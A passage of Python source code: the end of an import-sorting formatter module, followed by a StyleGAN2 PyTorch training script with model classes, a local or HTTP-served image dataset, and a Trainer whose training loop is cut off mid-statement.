parsed.categorized_comments["above"]["from"].pop(module, None) if above_comments: if new_section_output and config.ensure_newline_before_comments: new_section_output.append("") new_section_output.extend(above_comments) new_section_output.append(import_statement) return new_section_output def _with_straight_imports( parsed: parse.ParsedContent, config: Config, straight_modules: Iterable[str], section: str, section_output: List[str], remove_imports: List[str], import_type: str, ) -> List[str]: new_section_output = section_output.copy() for module in straight_modules: if module in remove_imports: continue import_definition = [] if module in parsed.as_map: if config.keep_direct_and_as_imports and parsed.imports[section]["straight"][module]: import_definition.append(f"{import_type} {module}") import_definition.extend( f"{import_type} {module} as {as_import}" for as_import in parsed.as_map[module] ) else: import_definition.append(f"{import_type} {module}") comments_above = parsed.categorized_comments["above"]["straight"].pop(module, None) if comments_above: if new_section_output and config.ensure_newline_before_comments: new_section_output.append("") new_section_output.extend(comments_above) new_section_output.extend( with_comments( parsed.categorized_comments["straight"].get(module), idef, removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) for idef in import_definition ) return new_section_output def _output_as_string(lines: List[str], line_separator: str) -> str: return line_separator.join(_normalize_empty_lines(lines)) def _normalize_empty_lines(lines: List[str]) -> List[str]: while lines and lines[-1].strip() == "": lines.pop(-1) lines.append("") return lines
import os import sys import math import fire import json import urllib.request import urllib.parse import io from tqdm import tqdm from math import floor, log2 from random import random from shutil import rmtree from functools import partial import multiprocessing from contextlib import contextmanager, ExitStack import numpy as np import torch from torch import nn from torch.utils import data from torch.optim import Adam import torch.nn.functional as F from torch.autograd import grad as torch_grad from torch.utils.data.distributed import DistributedSampler from torch.nn.parallel import DistributedDataParallel as DDP from kornia.filters import filter2D import torchvision from torchvision import transforms from stylegan2_pytorch.version import __version__ from stylegan2_pytorch.diff_augment import DiffAugment from vector_quantize_pytorch import VectorQuantize from linear_attention_transformer import ImageLinearAttention from PIL import Image from pathlib import Path try: from apex import amp APEX_AVAILABLE = True except: APEX_AVAILABLE = False import aim assert torch.cuda.is_available(), 'You need to have an Nvidia GPU with CUDA installed.' # constants NUM_CORES = multiprocessing.cpu_count() EXTS = ['jpg', 'jpeg', 'png'] # helper classes class NanException(Exception): pass class EMA(): def __init__(self, beta): super().__init__() self.beta = beta def update_average(self, old, new): if not exists(old): return new return old * self.beta + (1 - self.beta) * new class Flatten(nn.Module): def forward(self, x): return x.reshape(x.shape[0], -1) class RandomApply(nn.Module): def __init__(self, prob, fn, fn_else = lambda x: x): super().__init__() self.fn = fn self.fn_else = fn_else self.prob = prob def forward(self, x): fn = self.fn if random() < self.prob else self.fn_else return fn(x) class Residual(nn.Module): def __init__(self, fn): super().__init__() self.fn = fn def forward(self, x): return self.fn(x) + x class Rezero(nn.Module): def __init__(self, fn): super().__init__() self.fn = fn self.g = nn.Parameter(torch.zeros(1)) def forward(self, x): return self.fn(x) * self.g class PermuteToFrom(nn.Module): def __init__(self, fn): super().__init__() self.fn = fn def forward(self, x): x = x.permute(0, 2, 3, 1) out, loss = self.fn(x) out = out.permute(0, 3, 1, 2) return out, loss class Blur(nn.Module): def __init__(self): super().__init__() f = torch.Tensor([1, 2, 1]) self.register_buffer('f', f) def forward(self, x): f = self.f f = f[None, None, :] * f [None, :, None] return filter2D(x, f, normalized=True) # one layer of self-attention and feedforward, for images attn_and_ff = lambda chan: nn.Sequential(*[ Residual(Rezero(ImageLinearAttention(chan, norm_queries = True))), Residual(Rezero(nn.Sequential(nn.Conv2d(chan, chan * 2, 1), leaky_relu(), nn.Conv2d(chan * 2, chan, 1)))) ]) # helpers def exists(val): return val is not None @contextmanager def null_context(): yield def combine_contexts(contexts): @contextmanager def multi_contexts(): with ExitStack() as stack: yield [stack.enter_context(ctx()) for ctx in contexts] return multi_contexts def default(value, d): return value if exists(value) else d def cycle(iterable): while True: for i in iterable: yield i def cast_list(el): return el if isinstance(el, list) else [el] def is_empty(t): if isinstance(t, torch.Tensor): return t.nelement() == 0 return not exists(t) def raise_if_nan(t): if torch.isnan(t): raise NanException def gradient_accumulate_contexts(gradient_accumulate_every, is_ddp, ddps): if is_ddp: num_no_syncs = gradient_accumulate_every - 1 head = [combine_contexts(map(lambda ddp: ddp.no_sync, ddps))] * num_no_syncs tail = [null_context] contexts = head + tail else: contexts = [null_context] * gradient_accumulate_every for context in contexts: with context(): yield def loss_backwards(fp16, loss, optimizer, loss_id, **kwargs): if fp16: with amp.scale_loss(loss, optimizer, loss_id) as scaled_loss: scaled_loss.backward(**kwargs) else: loss.backward(**kwargs) def gradient_penalty(images, output, weight = 10): batch_size = images.shape[0] gradients = torch_grad(outputs=output, inputs=images, grad_outputs=torch.ones(output.size(), device=images.device), create_graph=True, retain_graph=True, only_inputs=True)[0] gradients = gradients.reshape(batch_size, -1) return weight * ((gradients.norm(2, dim=1) - 1) ** 2).mean() def calc_pl_lengths(styles, images): device = images.device num_pixels = images.shape[2] * images.shape[3] pl_noise = torch.randn(images.shape, device=device) / math.sqrt(num_pixels) outputs = (images * pl_noise).sum() pl_grads = torch_grad(outputs=outputs, inputs=styles, grad_outputs=torch.ones(outputs.shape, device=device), create_graph=True, retain_graph=True, only_inputs=True)[0] return (pl_grads ** 2).sum(dim=2).mean(dim=1).sqrt() def noise(n, latent_dim, device): return torch.randn(n, latent_dim).cuda(device) def noise_list(n, layers, latent_dim, device): return [(noise(n, latent_dim, device), layers)] def mixed_list(n, layers, latent_dim, device): tt = int(torch.rand(()).numpy() * layers) return noise_list(n, tt, latent_dim, device) + noise_list(n, layers - tt, latent_dim, device) def latent_to_w(style_vectorizer, latent_descr): return [(style_vectorizer(z), num_layers) for z, num_layers in latent_descr] def image_noise(n, im_size, device): return torch.FloatTensor(n, im_size, im_size, 1).uniform_(0., 1.).cuda(device) def leaky_relu(p=0.2): return nn.LeakyReLU(p, inplace=True) def evaluate_in_chunks(max_batch_size, model, *args): split_args = list(zip(*list(map(lambda x: x.split(max_batch_size, dim=0), args)))) chunked_outputs = [model(*i) for i in split_args] if len(chunked_outputs) == 1: return chunked_outputs[0] return torch.cat(chunked_outputs, dim=0) def styles_def_to_tensor(styles_def): return torch.cat([t[:, None, :].expand(-1, n, -1) for t, n in styles_def], dim=1) def set_requires_grad(model, bool): for p in model.parameters(): p.requires_grad = bool def slerp(val, low, high): low_norm = low / torch.norm(low, dim=1, keepdim=True) high_norm = high / torch.norm(high, dim=1, keepdim=True) omega = torch.acos((low_norm * high_norm).sum(1)) so = torch.sin(omega) res = (torch.sin((1.0 - val) * omega) / so).unsqueeze(1) * low + (torch.sin(val * omega) / so).unsqueeze(1) * high return res # dataset def convert_rgb_to_transparent(image): if image.mode != 'RGBA': return image.convert('RGBA') return image def convert_transparent_to_rgb(image): if image.mode != 'RGB': return image.convert('RGB') return image class expand_greyscale(object): def __init__(self, transparent): self.transparent = transparent def __call__(self, tensor): channels = tensor.shape[0] num_target_channels = 4 if self.transparent else 3 if channels == num_target_channels: return tensor alpha = None if channels == 1: color = tensor.expand(3, -1, -1) elif channels == 2: color = tensor[:1].expand(3, -1, -1) alpha = tensor[1:] else: raise Exception(f'image with invalid number of channels given {channels}') if not exists(alpha) and self.transparent: alpha = torch.ones(1, *tensor.shape[1:], device=tensor.device) return color if not self.transparent else torch.cat((color, alpha)) def resize_to_minimum_size(min_size, image): if max(*image.size) < min_size: return torchvision.transforms.functional.resize(image, min_size) return image class Dataset(data.Dataset): def __init__(self, folder, image_size, transparent = False, aug_prob = 0.): super().__init__() self.folder = folder self.image_size = image_size self.paths = [p for ext in EXTS for p in Path(f'{folder}').glob(f'**/*.{ext}')] assert len(self.paths) > 0, f'No images were found in {folder} for training' convert_image_fn = convert_transparent_to_rgb if not transparent else convert_rgb_to_transparent num_channels = 3 if not transparent else 4 self.transform = transforms.Compose([ transforms.Lambda(convert_image_fn), transforms.Lambda(partial(resize_to_minimum_size, image_size)), transforms.Resize(image_size), RandomApply(aug_prob, transforms.RandomResizedCrop(image_size, scale=(0.5, 1.0), ratio=(0.98, 1.02)), transforms.CenterCrop(image_size)), transforms.ToTensor(), transforms.Lambda(expand_greyscale(transparent)) ]) def __len__(self): return len(self.paths) def __getitem__(self, index): path = self.paths[index] img = Image.open(path) return self.transform(img) class NetworkDataset(data.Dataset): def __init__(self, host, image_size, transparent = False, aug_prob = 0.): super().__init__() self.host = host self.image_size = image_size with urllib.request.urlopen(host + 'list') as response: self.paths = json.loads(response.read()) self.paths = [path.replace('\\', '/') for path in self.paths] assert len(self.paths) > 0, f'No images were found in {host} for training' convert_image_fn = convert_transparent_to_rgb if not transparent else convert_rgb_to_transparent num_channels = 3 if not transparent else 4 self.transform = transforms.Compose([ transforms.Lambda(convert_image_fn), transforms.Lambda(partial(resize_to_minimum_size, image_size)), transforms.Resize(image_size), RandomApply(aug_prob, transforms.RandomResizedCrop(image_size, scale=(0.5, 1.0), ratio=(0.98, 1.02)), transforms.CenterCrop(image_size)), transforms.ToTensor(), transforms.Lambda(expand_greyscale(transparent)) ]) def __len__(self): return len(self.paths) def __getitem__(self, index): path = self.paths[index] request = urllib.request.urlopen(self.host + urllib.parse.quote(path)) img = Image.open(io.BytesIO(request.read())) return self.transform(img) # augmentations def random_hflip(tensor, prob): if prob > random(): return tensor return torch.flip(tensor, dims=(3,)) class AugWrapper(nn.Module): def __init__(self, D, image_size): super().__init__() self.D = D def forward(self, images, prob = 0., types = [], detach = False): if random() < prob: images = random_hflip(images, prob=0.5) images = DiffAugment(images, types=types) if detach: images = images.detach() return self.D(images) # stylegan2 classes class EqualLinear(nn.Module): def __init__(self, in_dim, out_dim, lr_mul = 1, bias = True): super().__init__() self.weight = nn.Parameter(torch.randn(out_dim, in_dim)) if bias: self.bias = nn.Parameter(torch.zeros(out_dim)) self.lr_mul = lr_mul def forward(self, input): return F.linear(input, self.weight * self.lr_mul, bias=self.bias * self.lr_mul) class StyleVectorizer(nn.Module): def __init__(self, emb, depth, lr_mul = 0.1): super().__init__() layers = [] for i in range(depth): layers.extend([EqualLinear(emb, emb, lr_mul), leaky_relu()]) self.net = nn.Sequential(*layers) def forward(self, x): x = F.normalize(x, dim=1) return self.net(x) class RGBBlock(nn.Module): def __init__(self, latent_dim, input_channel, upsample, rgba = False): super().__init__() self.input_channel = input_channel self.to_style = nn.Linear(latent_dim, input_channel) out_filters = 3 if not rgba else 4 self.conv = Conv2DMod(input_channel, out_filters, 1, demod=False) self.upsample = nn.Sequential( nn.Upsample(scale_factor = 2, mode='bilinear', align_corners=False), Blur() ) if upsample else None def forward(self, x, prev_rgb, istyle): b, c, h, w = x.shape style = self.to_style(istyle) x = self.conv(x, style) if exists(prev_rgb): x = x + prev_rgb if exists(self.upsample): x = self.upsample(x) return x class Conv2DMod(nn.Module): def __init__(self, in_chan, out_chan, kernel, demod=True, stride=1, dilation=1, eps = 1e-8, **kwargs): super().__init__() self.filters = out_chan self.demod = demod self.kernel = kernel self.stride = stride self.dilation = dilation self.weight = nn.Parameter(torch.randn((out_chan, in_chan, kernel, kernel))) self.eps = eps nn.init.kaiming_normal_(self.weight, a=0, mode='fan_in', nonlinearity='leaky_relu') def _get_same_padding(self, size, kernel, dilation, stride): return ((size - 1) * (stride - 1) + dilation * (kernel - 1)) // 2 def forward(self, x, y): b, c, h, w = x.shape w1 = y[:, None, :, None, None] w2 = self.weight[None, :, :, :, :] weights = w2 * (w1 + 1) if self.demod: d = torch.rsqrt((weights ** 2).sum(dim=(2, 3, 4), keepdim=True) + self.eps) weights = weights * d x = x.reshape(1, -1, h, w) _, _, *ws = weights.shape weights = weights.reshape(b * self.filters, *ws) padding = self._get_same_padding(h, self.kernel, self.dilation, self.stride) x = F.conv2d(x, weights, padding=padding, groups=b) x = x.reshape(-1, self.filters, h, w) return x class GeneratorBlock(nn.Module): def __init__(self, latent_dim, input_channels, filters, upsample = True, upsample_rgb = True, rgba = False): super().__init__() self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=False) if upsample else None self.to_style1 = nn.Linear(latent_dim, input_channels) self.to_noise1 = nn.Linear(1, filters) self.conv1 = Conv2DMod(input_channels, filters, 3) self.to_style2 = nn.Linear(latent_dim, filters) self.to_noise2 = nn.Linear(1, filters) self.conv2 = Conv2DMod(filters, filters, 3) self.activation = leaky_relu() self.to_rgb = RGBBlock(latent_dim, filters, upsample_rgb, rgba) def forward(self, x, prev_rgb, istyle, inoise): if exists(self.upsample): x = self.upsample(x) inoise = inoise[:, :x.shape[2], :x.shape[3], :] noise1 = self.to_noise1(inoise).permute((0, 3, 2, 1)) noise2 = self.to_noise2(inoise).permute((0, 3, 2, 1)) style1 = self.to_style1(istyle) x = self.conv1(x, style1) x = self.activation(x + noise1) style2 = self.to_style2(istyle) x = self.conv2(x, style2) x = self.activation(x + noise2) rgb = self.to_rgb(x, prev_rgb, istyle) return x, rgb class DiscriminatorBlock(nn.Module): def __init__(self, input_channels, filters, downsample=True): super().__init__() self.conv_res = nn.Conv2d(input_channels, filters, 1, stride = (2 if downsample else 1)) self.net = nn.Sequential( nn.Conv2d(input_channels, filters, 3, padding=1), leaky_relu(), nn.Conv2d(filters, filters, 3, padding=1), leaky_relu() ) self.downsample = nn.Sequential( Blur(), nn.Conv2d(filters, filters, 3, padding = 1, stride = 2) ) if downsample else None def forward(self, x): res = self.conv_res(x) x = self.net(x) if exists(self.downsample): x = self.downsample(x) x = (x + res) * (1 / math.sqrt(2)) return x class Generator(nn.Module): def __init__(self, image_size, latent_dim, network_capacity = 16, transparent = False, attn_layers = [], no_const = False, fmap_max = 512): super().__init__() self.image_size = image_size self.latent_dim = latent_dim self.num_layers = int(log2(image_size) - 1) filters = [network_capacity * (2 ** (i + 1)) for i in range(self.num_layers)][::-1] set_fmap_max = partial(min, fmap_max) filters = list(map(set_fmap_max, filters)) init_channels = filters[0] filters = [init_channels, *filters] in_out_pairs = zip(filters[:-1], filters[1:]) self.no_const = no_const if no_const: self.to_initial_block = nn.ConvTranspose2d(latent_dim, init_channels, 4, 1, 0, bias=False) else: self.initial_block = nn.Parameter(torch.randn((1, init_channels, 4, 4))) self.initial_conv = nn.Conv2d(filters[0], filters[0], 3, padding=1) self.blocks = nn.ModuleList([]) self.attns = nn.ModuleList([]) for ind, (in_chan, out_chan) in enumerate(in_out_pairs): not_first = ind != 0 not_last = ind != (self.num_layers - 1) num_layer = self.num_layers - ind attn_fn = attn_and_ff(in_chan) if num_layer in attn_layers else None self.attns.append(attn_fn) block = GeneratorBlock( latent_dim, in_chan, out_chan, upsample = not_first, upsample_rgb = not_last, rgba = transparent ) self.blocks.append(block) def forward(self, styles, input_noise): batch_size = styles.shape[0] image_size = self.image_size if self.no_const: avg_style = styles.mean(dim=1)[:, :, None, None] x = self.to_initial_block(avg_style) else: x = self.initial_block.expand(batch_size, -1, -1, -1) rgb = None styles = styles.transpose(0, 1) x = self.initial_conv(x) for style, block, attn in zip(styles, self.blocks, self.attns): if exists(attn): x = attn(x) x, rgb = block(x, rgb, style, input_noise) return rgb class Discriminator(nn.Module): def __init__(self, image_size, network_capacity = 16, fq_layers = [], fq_dict_size = 256, attn_layers = [], transparent = False, fmap_max = 512): super().__init__() num_layers = int(log2(image_size) - 1) num_init_filters = 3 if not transparent else 4 blocks = [] filters = [num_init_filters] + [(network_capacity * 4) * (2 ** i) for i in range(num_layers + 1)] set_fmap_max = partial(min, fmap_max) filters = list(map(set_fmap_max, filters)) chan_in_out = list(zip(filters[:-1], filters[1:])) blocks = [] attn_blocks = [] quantize_blocks = [] for ind, (in_chan, out_chan) in enumerate(chan_in_out): num_layer = ind + 1 is_not_last = ind != (len(chan_in_out) - 1) block = DiscriminatorBlock(in_chan, out_chan, downsample = is_not_last) blocks.append(block) attn_fn = attn_and_ff(out_chan) if num_layer in attn_layers else None attn_blocks.append(attn_fn) quantize_fn = PermuteToFrom(VectorQuantize(out_chan, fq_dict_size)) if num_layer in fq_layers else None quantize_blocks.append(quantize_fn) self.blocks = nn.ModuleList(blocks) self.attn_blocks = nn.ModuleList(attn_blocks) self.quantize_blocks = nn.ModuleList(quantize_blocks) chan_last = filters[-1] latent_dim = 2 * 2 * chan_last self.final_conv = nn.Conv2d(chan_last, chan_last, 3, padding=1) self.flatten = Flatten() self.to_logit = nn.Linear(latent_dim, 1) def forward(self, x): b, *_ = x.shape quantize_loss = torch.zeros(1).to(x) for (block, attn_block, q_block) in zip(self.blocks, self.attn_blocks, self.quantize_blocks): x = block(x) if exists(attn_block): x = attn_block(x) if exists(q_block): x, _, loss = q_block(x) quantize_loss += loss x = self.final_conv(x) x = self.flatten(x) x = self.to_logit(x) return x.squeeze(), quantize_loss class StyleGAN2(nn.Module): def __init__(self, image_size, latent_dim = 512, fmap_max = 512, style_depth = 8, network_capacity = 16, transparent = False, fp16 = False, cl_reg = False, steps = 1, lr = 1e-4, ttur_mult = 2, fq_layers = [], fq_dict_size = 256, attn_layers = [], no_const = False, lr_mlp = 0.1, rank = 0): super().__init__() self.lr = lr self.steps = steps self.ema_updater = EMA(0.995) self.S = StyleVectorizer(latent_dim, style_depth, lr_mul = lr_mlp) self.G = Generator(image_size, latent_dim, network_capacity, transparent = transparent, attn_layers = attn_layers, no_const = no_const, fmap_max = fmap_max) self.D = Discriminator(image_size, network_capacity, fq_layers = fq_layers, fq_dict_size = fq_dict_size, attn_layers = attn_layers, transparent = transparent, fmap_max = fmap_max) self.SE = StyleVectorizer(latent_dim, style_depth, lr_mul = lr_mlp) self.GE = Generator(image_size, latent_dim, network_capacity, transparent = transparent, attn_layers = attn_layers, no_const = no_const) self.D_cl = None if cl_reg: from contrastive_learner import ContrastiveLearner # experimental contrastive loss discriminator regularization assert not transparent, 'contrastive loss regularization does not work with transparent images yet' self.D_cl = ContrastiveLearner(self.D, image_size, hidden_layer='flatten') # wrapper for augmenting all images going into the discriminator self.D_aug = AugWrapper(self.D, image_size) # turn off grad for exponential moving averages set_requires_grad(self.SE, False) set_requires_grad(self.GE, False) # init optimizers generator_params = list(self.G.parameters()) + list(self.S.parameters()) self.G_opt = Adam(generator_params, lr = self.lr, betas=(0.5, 0.9)) self.D_opt = Adam(self.D.parameters(), lr = self.lr * ttur_mult, betas=(0.5, 0.9)) # init weights self._init_weights() self.reset_parameter_averaging() self.cuda(rank) # startup apex mixed precision self.fp16 = fp16 if fp16: (self.S, self.G, self.D, self.SE, self.GE), (self.G_opt, self.D_opt) = amp.initialize([self.S, self.G, self.D, self.SE, self.GE], [self.G_opt, self.D_opt], opt_level='O1', num_losses=3) def _init_weights(self): for m in self.modules(): if type(m) in {nn.Conv2d, nn.Linear}: nn.init.kaiming_normal_(m.weight, a=0, mode='fan_in', nonlinearity='leaky_relu') for block in self.G.blocks: nn.init.zeros_(block.to_noise1.weight) nn.init.zeros_(block.to_noise2.weight) nn.init.zeros_(block.to_noise1.bias) nn.init.zeros_(block.to_noise2.bias) def EMA(self): def update_moving_average(ma_model, current_model): for current_params, ma_params in zip(current_model.parameters(), ma_model.parameters()): old_weight, up_weight = ma_params.data, current_params.data ma_params.data = self.ema_updater.update_average(old_weight, up_weight) update_moving_average(self.SE, self.S) update_moving_average(self.GE, self.G) def reset_parameter_averaging(self): self.SE.load_state_dict(self.S.state_dict()) self.GE.load_state_dict(self.G.state_dict()) def forward(self, x): return x class Trainer(): def __init__( self, name = 'default', results_dir = 'results', models_dir = 'models', base_dir = './', image_size = 128, network_capacity = 16, fmap_max = 512, transparent = False, batch_size = 4, mixed_prob = 0.9, gradient_accumulate_every=1, lr = 2e-4, lr_mlp = 0.1, ttur_mult = 2, rel_disc_loss = False, num_workers = None, save_every = 1000, evaluate_every = 1000, num_image_tiles = 8, trunc_psi = 0.6, fp16 = False, cl_reg = False, no_pl_reg = False, fq_layers = [], fq_dict_size = 256, attn_layers = [], no_const = False, aug_prob = 0., aug_types = ['translation', 'cutout'], top_k_training = False, generator_top_k_gamma = 0.99, generator_top_k_frac = 0.5, dataset_aug_prob = 0., calculate_fid_every = None, calculate_fid_num_images = 12800, clear_fid_cache = False, is_ddp = False, rank = 0, world_size = 1, log = False, *args, **kwargs ): self.GAN_params = [args, kwargs] self.GAN = None self.name = name base_dir = Path(base_dir) self.base_dir = base_dir self.results_dir = base_dir / results_dir self.models_dir = base_dir / models_dir self.fid_dir = base_dir / 'fid' / name self.config_path = self.models_dir / name / '.config.json' assert log2(image_size).is_integer(), 'image size must be a power of 2 (64, 128, 256, 512, 1024)' self.image_size = image_size self.network_capacity = network_capacity self.fmap_max = fmap_max self.transparent = transparent self.fq_layers = cast_list(fq_layers) self.fq_dict_size = fq_dict_size self.has_fq = len(self.fq_layers) > 0 self.attn_layers = cast_list(attn_layers) self.no_const = no_const self.aug_prob = aug_prob self.aug_types = aug_types self.lr = lr self.lr_mlp = lr_mlp self.ttur_mult = ttur_mult self.rel_disc_loss = rel_disc_loss self.batch_size = batch_size self.num_workers = num_workers self.mixed_prob = mixed_prob self.num_image_tiles = num_image_tiles self.evaluate_every = evaluate_every self.save_every = save_every self.steps = 0 self.av = None self.trunc_psi = trunc_psi self.no_pl_reg = no_pl_reg self.pl_mean = None self.gradient_accumulate_every = gradient_accumulate_every assert not fp16 or fp16 and APEX_AVAILABLE, 'Apex is not available for you to use mixed precision training' self.fp16 = fp16 self.cl_reg = cl_reg self.d_loss = 0 self.g_loss = 0 self.q_loss = None self.last_gp_loss = None self.last_cr_loss = None self.last_fid = None self.pl_length_ma = EMA(0.99) self.init_folders() self.loader = None self.dataset_aug_prob = dataset_aug_prob self.calculate_fid_every = calculate_fid_every self.calculate_fid_num_images = calculate_fid_num_images self.clear_fid_cache = clear_fid_cache self.top_k_training = top_k_training self.generator_top_k_gamma = generator_top_k_gamma self.generator_top_k_frac = generator_top_k_frac assert not (is_ddp and cl_reg), 'Contrastive loss regularization does not work well with multi GPUs yet' self.is_ddp = is_ddp self.is_main = rank == 0 self.rank = rank self.world_size = world_size self.logger = aim.Session(experiment=name) if log else None @property def image_extension(self): return 'jpg' if not self.transparent else 'png' @property def checkpoint_num(self): return floor(self.steps // self.save_every) @property def hparams(self): return {'image_size': self.image_size, 'network_capacity': self.network_capacity} def init_GAN(self): args, kwargs = self.GAN_params self.GAN = StyleGAN2(lr = self.lr, lr_mlp = self.lr_mlp, ttur_mult = self.ttur_mult, image_size = self.image_size, network_capacity = self.network_capacity, fmap_max = self.fmap_max, transparent = self.transparent, fq_layers = self.fq_layers, fq_dict_size = self.fq_dict_size, attn_layers = self.attn_layers, fp16 = self.fp16, cl_reg = self.cl_reg, no_const = self.no_const, rank = self.rank, *args, **kwargs) if self.is_ddp: ddp_kwargs = {'device_ids': [self.rank]} self.S_ddp = DDP(self.GAN.S, **ddp_kwargs) self.G_ddp = DDP(self.GAN.G, **ddp_kwargs) self.D_ddp = DDP(self.GAN.D, **ddp_kwargs) self.D_aug_ddp = DDP(self.GAN.D_aug, **ddp_kwargs) if exists(self.logger): self.logger.set_params(self.hparams) def write_config(self): self.config_path.write_text(json.dumps(self.config())) def load_config(self): config = self.config() if not self.config_path.exists() else json.loads(self.config_path.read_text()) self.image_size = config['image_size'] self.network_capacity = config['network_capacity'] self.transparent = config['transparent'] self.fq_layers = config['fq_layers'] self.fq_dict_size = config['fq_dict_size'] self.fmap_max = config.pop('fmap_max', 512) self.attn_layers = config.pop('attn_layers', []) self.no_const = config.pop('no_const', False) self.lr_mlp = config.pop('lr_mlp', 0.1) del self.GAN self.init_GAN() def config(self): return {'image_size': self.image_size, 'network_capacity': self.network_capacity, 'lr_mlp': self.lr_mlp, 'transparent': self.transparent, 'fq_layers': self.fq_layers, 'fq_dict_size': self.fq_dict_size, 'attn_layers': self.attn_layers, 'no_const': self.no_const} def set_data_src(self, folder): self.dataset = NetworkDataset(folder, self.image_size, transparent = self.transparent, aug_prob = self.dataset_aug_prob) num_workers = num_workers = default(self.num_workers, NUM_CORES if not self.is_ddp else 0) sampler = DistributedSampler(self.dataset, rank=self.rank, num_replicas=self.world_size, shuffle=True) if self.is_ddp else None dataloader = data.DataLoader(self.dataset, num_workers = num_workers, batch_size = math.ceil(self.batch_size / self.world_size), sampler = sampler, shuffle = not self.is_ddp, drop_last = True, pin_memory = True) self.loader = cycle(dataloader) # auto set augmentation prob for user if dataset is detected to be low num_samples = len(self.dataset) if not exists(self.aug_prob) and num_samples < 1e5: self.aug_prob = min(0.5, (1e5 - num_samples) * 3e-6) print(f'autosetting augmentation probability to {round(self.aug_prob * 100)}%') def train(self): assert exists(self.loader), 'You must first initialize the data source with `.set_data_src(<folder of images>)`' if not exists(self.GAN): self.init_GAN() self.GAN.train() total_disc_loss = torch.tensor(0.).cuda(self.rank) total_gen_loss = torch.tensor(0.).cuda(self.rank) batch_size = math.ceil(self.batch_size / self.world_size) image_size = self.GAN.G.image_size latent_dim = self.GAN.G.latent_dim num_layers = self.GAN.G.num_layers aug_prob = self.aug_prob aug_types = self.aug_types aug_kwargs = {'prob': aug_prob, 'types': aug_types} apply_gradient_penalty = self.steps % 4 == 0 apply_path_penalty = not self.no_pl_reg and self.steps > 5000 and self.steps % 32 == 0 apply_cl_reg_to_generated = self.steps > 20000 S = self.GAN.S if not self.is_ddp else self.S_ddp G = self.GAN.G if not self.is_ddp else self.G_ddp D = self.GAN.D if not self.is_ddp else self.D_ddp D_aug = self.GAN.D_aug if not self.is_ddp else self.D_aug_ddp backwards = partial(loss_backwards, self.fp16) if exists(self.GAN.D_cl): self.GAN.D_opt.zero_grad() if apply_cl_reg_to_generated: for i in range(self.gradient_accumulate_every): get_latents_fn = mixed_list if random() < self.mixed_prob else noise_list style = get_latents_fn(batch_size, num_layers, latent_dim, device=self.rank) noise = image_noise(batch_size, image_size, device=self.rank) w_space = latent_to_w(self.GAN.S, style) w_styles = styles_def_to_tensor(w_space) generated_images = self.GAN.G(w_styles, noise) self.GAN.D_cl(generated_images.clone().detach(), accumulate=True) for i in range(self.gradient_accumulate_every): image_batch = next(self.loader).cuda(self.rank) self.GAN.D_cl(image_batch, accumulate=True) loss = self.GAN.D_cl.calculate_loss() self.last_cr_loss = loss.clone().detach().item() backwards(loss, self.GAN.D_opt, loss_id = 0) self.GAN.D_opt.step() # train discriminator avg_pl_length = self.pl_mean self.GAN.D_opt.zero_grad() for i in gradient_accumulate_contexts(self.gradient_accumulate_every, self.is_ddp, ddps=[D_aug, S, G]): get_latents_fn = mixed_list if random() < self.mixed_prob else noise_list style = get_latents_fn(batch_size, num_layers, latent_dim, device=self.rank) noise = image_noise(batch_size, image_size, device=self.rank) w_space = latent_to_w(S, style) w_styles = styles_def_to_tensor(w_space) generated_images = G(w_styles, noise) fake_output, fake_q_loss = D_aug(generated_images.clone().detach(), detach = True, **aug_kwargs) image_batch = next(self.loader).cuda(self.rank) image_batch.requires_grad_() real_output, real_q_loss = D_aug(image_batch, **aug_kwargs) real_output_loss = real_output fake_output_loss = fake_output if self.rel_disc_loss: real_output_loss = real_output_loss - fake_output.mean() fake_output_loss = fake_output_loss - real_output.mean() divergence = (F.relu(1 + real_output_loss) + F.relu(1 - fake_output_loss)).mean() disc_loss = divergence if self.has_fq: quantize_loss = (fake_q_loss + real_q_loss).mean() self.q_loss = float(quantize_loss.detach().item()) disc_loss = disc_loss + quantize_loss if apply_gradient_penalty: gp = gradient_penalty(image_batch, real_output) self.last_gp_loss = gp.clone().detach().item() self.track(self.last_gp_loss, 'GP') disc_loss = disc_loss + gp disc_loss = disc_loss / self.gradient_accumulate_every disc_loss.register_hook(raise_if_nan) backwards(disc_loss, self.GAN.D_opt, loss_id = 1) total_disc_loss += divergence.detach().item() / self.gradient_accumulate_every self.d_loss = float(total_disc_loss) self.track(self.d_loss, 'D') self.GAN.D_opt.step() # train generator self.GAN.G_opt.zero_grad() for i in gradient_accumulate_contexts(self.gradient_accumulate_every, self.is_ddp, ddps=[S, G, D_aug]): style = get_latents_fn(batch_size, num_layers, latent_dim, device=self.rank) noise = image_noise(batch_size, image_size, device=self.rank) w_space = latent_to_w(S, style) w_styles = styles_def_to_tensor(w_space) generated_images = G(w_styles, noise) fake_output, _ = D_aug(generated_images, **aug_kwargs) fake_output_loss = fake_output if self.top_k_training: epochs = (self.steps * batch_size * self.gradient_accumulate_every) / len(self.dataset) k_frac = max(self.generator_top_k_gamma ** epochs, self.generator_top_k_frac) k = math.ceil(batch_size * k_frac) if k != batch_size: fake_output_loss, _ = fake_output_loss.topk(k=k, largest=False) loss = fake_output_loss.mean() gen_loss = loss if apply_path_penalty: pl_lengths = calc_pl_lengths(w_styles, generated_images) avg_pl_length = np.mean(pl_lengths.detach().cpu().numpy()) if not is_empty(self.pl_mean): pl_loss = ((pl_lengths - self.pl_mean) ** 2).mean() if not torch.isnan(pl_loss): gen_loss = gen_loss + pl_loss gen_loss = gen_loss / self.gradient_accumulate_every gen_loss.register_hook(raise_if_nan) backwards(gen_loss, self.GAN.G_opt, loss_id = 2) total_gen_loss += loss.detach().item() / self.gradient_accumulate_every self.g_loss = float(total_gen_loss) self.track(self.g_loss, 'G') self.GAN.G_opt.step() # calculate moving averages if apply_path_penalty and not np.isnan(avg_pl_length): self.pl_mean = self.pl_length_ma.update_average(self.pl_mean, avg_pl_length) self.track(self.pl_mean, 'PL') if self.is_main and self.steps % 10 == 0 and self.steps > 20000: self.GAN.EMA() if self.is_main and self.steps <= 25000 and self.steps % 1000 == 2: self.GAN.reset_parameter_averaging() # save from NaN errors if any(torch.isnan(l) for l in (total_gen_loss, total_disc_loss)): print(f'NaN detected for generator or discriminator. Loading from checkpoint #{self.checkpoint_num}') self.load(self.checkpoint_num) raise NanException # periodically save results if self.is_main: if self.steps % self.save_every == 0: self.save(self.checkpoint_num) if self.steps % self.evaluate_every == 0 or (self.steps % 100 == 0 and self.steps < 2500): self.evaluate(floor(self.steps / self.evaluate_every)) if exists(self.calculate_fid_every) and self.steps % self.calculate_fid_every == 0 and self.steps != 0: num_batches 